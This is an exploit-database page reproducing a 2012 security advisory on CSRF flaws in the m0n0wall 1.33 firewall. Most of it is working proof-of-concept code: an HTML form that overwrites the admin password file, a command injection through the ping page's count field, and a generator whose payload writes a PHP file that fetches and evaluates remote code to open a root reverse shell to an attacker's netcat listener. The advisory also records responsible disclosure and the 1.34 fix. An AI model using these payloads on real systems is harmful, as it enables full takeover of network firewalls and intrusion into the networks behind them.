Menu

Search for hundreds of thousands of exploits

"m0n0wall 1.33 - Multiple Cross-Site Request Forgery Vulnerabilities"

Author

Exploit author

"Yann CAM"

Platform

Exploit platform

freebsd

Release date

Exploit published date

2012-12-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
######################################################################
# Exploit Title: m0n0wall 1.33 CSRF Remote root Access
# Date: 30/11/2012
# Author: Yann CAM @ Synetis
# Vendor or Software Link: m0n0.ch - m0n0.ch/wall/downloads.php
# Version: 1.33
# Category: CSRF Remote root Access
# Google dork:
# Tested on: FreeBSD
######################################################################



m0n0wall firewall/router distribution description :
======================================================================

m0n0wall is a project aimed at creating a complete, embedded firewall software package that, when used together with an embedded PC, provides all the important features of commercial firewall boxes (including ease of use) at a fraction of the price (free software).
m0n0wall is based on a bare-bones version of FreeBSD, along with a web server, PHP and a few other utilities. The entire system configuration is stored in one single XML text file to keep things transparent.
m0n0wall is probably the first UNIX system that has its boot-time configuration done with PHP, rather than the usual shell scripts, and that has the entire system configuration stored in XML format.

In version 1.33 of the distribution, differents vulnerabilities CSRF RCE reverse root shell can be used. It is strongly advised to update to version 1.34 available now.



Proof of Concept 1 :
======================================================================

CSRF exploit to reset WebGUI admin password to admin/mono (with command execution) :

File /usr/local/www/exec.php line 250 :
    $ph = popen($_POST['txtCommand'], "r" );

PoC:

<html>
  <body>
    <form name='x' action='http://m0n0wall_IP:80/exec.php' method='post'>
      <input type='hidden' name='txtCommand' value='echo "admin:\$1\$UHzbn8k6\$RmvocDPCsXm0uW4SYZAcA/" > /usr/local/www/.htpasswd' />
    </form>
    <script>document.forms['x'].submit();</script>
  </body>
</html>



Proof of Concept 2 :
======================================================================

CSRF exploit to execute arbitrary command on server :

File /usr/local/www/diag_ping.php line 159 and 161 :
    159 : system("/sbin/$pingprog -S$ifaddr -c$count " . escapeshellarg($host));
    161 : system("/sbin/$pingprog -c$count " . escapeshellarg($host));

The remote command execution through CSRF target the $count variable. This variable is defined on line 55 :
    55 : $count = $_POST['count'];

But this variable is set only if line 47 is false :
    47 : if (($_POST['count'] < 1) || ($_POST['count'] > MAX_COUNT)) {

So, if an attacker prepend his injection command with a number between 1 and 10, $count is set.

You should sanitize this $count variable like :
    if ((intval($_POST['count']) < 1) || (intval($_POST['count']) > MAX_COUNT)) {

PoC :

<html>
  <body>
    <form name='x' action='http://m0n0wall_IP:80/diag_ping.php' method='post'>
      <input type='hidden' name='count' value='1;ls -la;' />
      <input type='hidden' name='host' value='127.0.0.1' />
    </form>
    <script>document.forms['x'].submit();</script>
  </body>
</html>



Proof of Concept 3 :
======================================================================

File /usr/local/www/exec_ram.php line 36 :
    36 : passthru($_GET['cmd']);

It's the more dangerous vulnerability. By this way, it's possible to an attacker to gain a full interactive reverse shell through a CSRF attack.
m0n0wall is so light that none of binary file can be used to establish a reverse shell (netcat, telnet or any alternative aren't present...).
So, to make a real reverse shell, I use PHP file. Principle is to put on the m0n0wall web server a new PHP file with several instructions to open a socket to the attacker with the /bin/sh share.
m0n0wall PHP-CGI version is compiled with the socket library so it's relatively easy.
The CSRF can only create a new file into the web directory on m0n0wall, but can not run this file with PHP. I have tried several syntaxe with /usr/local/bin/php (-r, -f...) to force run it, but unsuccessfull...
So, I make a new request into the CSRF script to call this script and to establish the reverse shell.
You can see this exploitation in this demonstration video just made as proof of concept here:

    http://www.youtube.com/watch?v=It288h9VtV4

CSRF generator to Reverse root shell fully interactive :

<html>
 <head>
<script>
function trim(s){
return s.replace(/\r\n|\r|\n|\t/g,'').replace(/^\s+/g,'').replace(/\s+$/g,'');
}
 
function generateCSRF(){
var target = trim(document.getElementById("target").value);
var httpurl = trim(document.getElementById("httpurl").value);
var resultjs = "";
resultjs += "<html><body>";
resultjs += "<img src='" + target + "exec_raw.php?cmd=echo%20-e%20%22%23%21/usr/local/bin/php%5Cn%3C%3Fphp%20eval%28%27%3F%3E%20%27.file_get_contents%28%27http%3A//" + httpurl + "%27%29.%27%3C%3Fphp%20%27%29%3B%20%3F%3E%22%20%3E%20x.php%3Bcat%20x.php%3Bchmod%20755%20x.php%3B' />";
resultjs += "<script type='text/javascript'>function redirect(page){window.location=page;}setTimeout('redirect(\"" + target + "x.php\")',1000);<\/script></body></html>";
document.getElementById("resultjs").value = resultjs;
}
 
</script>
</head>
 <body onload="generateCSRF();">
 <h2>CSRF m0n0wall 1.33 to root RCE (reverse shell)</h2>
 <p>m0n0wall 1.33, the latest firewall/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.<br />
 The attacker must know the URL address of m0n0wall WebGui.<br />
 To obtain the reverseshell, attacker must place a netcat in listening mode.<br />
 On attacker machine :
 <pre>nc -l -vv -p 1337 # Netcat listener, to gain shell control.</pre>
 (admin hash is in the /config/config.xml file on m0n0wall, and WebGUI access is checked with /usr/local/www/.htpasswd)
 </p>
 <form action="" onsubmit="generateCSRF();return false;">
 <table>
 <tr><td>URL's m0n0wall 1.33 Targeted :</td> <td>
 <input id="target" type="text" value="http://192.168.0.253:80/" size="70" onkeyup="generateCSRF();" /></td>
 </tr>
 <tr><td> HTTP URL to download php-reverse-shell.txt <br />
 You need to download php-reverse-shell <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell" target="_blank">here</a> !<br />
 Edit the script to indicate :<br />
 <pre>$ip = 'ATTACKER_IP_REVERSE_SHELL'; // CHANGE THIS
$port = PORT_IN_LISTENING_MODE; // CHANGE THIS</pre>
Then, rename php-reverse-shell.php to psr.txt and host it on a accessible web server.</td> <td>http://
 <input id="httpurl" type="text" value="192.168.0.141/prs.txt" size="70" onkeyup="generateCSRF();" /></td>
 </tr>
 
<tr> <td>CSRF exploit to send to an admin : </td> <td>
<textarea cols="70" rows="10" id="resultjs" readonly="readonly">&lt;/textarea&gt; </td>
 </tr>
 </table>
 </form>
 </body>
</html>



Solution:
======================================================================
2012-11-12:  Release 1.34




Additional resources :
======================================================================

- m0n0.ch
- www.synetis.com
- blog.synetis.com/2012/11/19/pare-feu-routeur-m0n0wall
- www.asafety.fr/vuln-exploit-poc/csrf-rce-m0n0wall-1-33-remote-root-access
- www.youtube.com/watch?v=It288h9VtV4
- pentestmonkey.net/tools/web-shells/php-reverse-shell



Report timeline :
======================================================================

2012-10-05 : Team alerted with many details, PoC, video and potential solution
2012-10-06 : Team first response
2012-10-18 : Team second feedback with many corrections and evolutions
2012-10-31 : Our feedback concerning their corrections
2012-11-01 : Final feedback from m0n0wall team with their thanks
2012-11-12 : Release 1.34
2012-12-06 : Public advisory



Credits :
======================================================================

    88888888
   88      888                                         88    88
  888       88                                         88
  788           Z88      88  88.888888     8888888   888888  88    8888888.
   888888.       88     88   888    Z88   88     88    88    88   88     88
       8888888    88    88   88      88  88       88   88    88   888
            888   88   88    88      88  88888888888   88    88     888888
  88         88    88  8.    88      88  88            88    88          888
  888       ,88     8I88     88      88   88      88   88    88  .88     .88
   ?8888888888.     888      88      88    88888888    8888  88   =88888888
       888.          88
                    88    www.synetis.com
                 8888  Consulting firm in management and information security

Yann CAM - Security Consultant @ synetis



Last word :
======================================================================

Thank you to all the m0n0wall team for responsiveness, professionalism and quality solution despite of these few minor weaknesses.

-- 
SYNETIS
CONTACT: www.synetis.com
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-04-06 "pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting" webapps freebsd "Matthew Aberegg"
2020-02-11 "OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution" remote freebsd "Marco Ivaldi"
2019-12-30 "FreeBSD-SA-19:15.mqueuefs - Privilege Escalation" local freebsd "Karsten König"
2019-12-30 "FreeBSD-SA-19:02.fd - Privilege Escalation" local freebsd "Karsten König"
2019-07-10 "FreeBSD 12.0 - 'fd' Local Privilege Escalation" local freebsd gr4yf0x
2016-01-25 "FreeBSD SCTP ICMPv6 - Error Processing" dos freebsd ptsecurity
2015-01-29 "FreeBSD - Multiple Vulnerabilities" dos freebsd "Core Security"
2013-10-04 "FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation" local freebsd CurcolHekerLink
2013-06-26 "FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit)" local freebsd Metasploit
2013-06-21 "FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation" local freebsd Hunger
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.